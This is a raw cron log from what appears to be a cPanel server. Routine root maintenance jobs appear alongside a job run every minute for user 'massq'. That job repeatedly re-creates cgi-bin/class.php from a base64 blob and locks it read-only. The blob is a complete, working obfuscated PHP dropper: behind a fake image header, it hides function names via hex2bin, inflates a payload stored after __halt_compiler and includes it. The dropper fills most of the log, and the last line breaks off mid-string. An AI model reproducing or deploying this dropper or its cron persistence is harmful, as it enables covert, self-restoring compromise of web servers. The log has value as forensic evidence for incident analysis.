Apr  8 19:02:01 server CROND[28232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:03:01 server CROND[28286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:04:01 server CROND[28342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:05:01 server CROND[28420]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 19:05:01 server CROND[28421]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 19:05:01 server CROND[28422]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 19:05:01 server CROND[28423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:06:01 server CROND[28632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:07:01 server CROND[28683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:08:01 server CROND[28735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:09:01 server CROND[28805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:09:01 server CROND[28806]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 19:10:01 server CROND[28869]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 19:10:01 server CROND[28870]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 19:10:01 server CROND[28871]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 19:10:01 server CROND[28872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:11:01 server CROND[29077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:12:01 server CROND[29197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:12:01 server CROND[29198]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 19:13:01 server CROND[29256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:14:01 server CROND[29310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:15:01 server CROND[29371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiY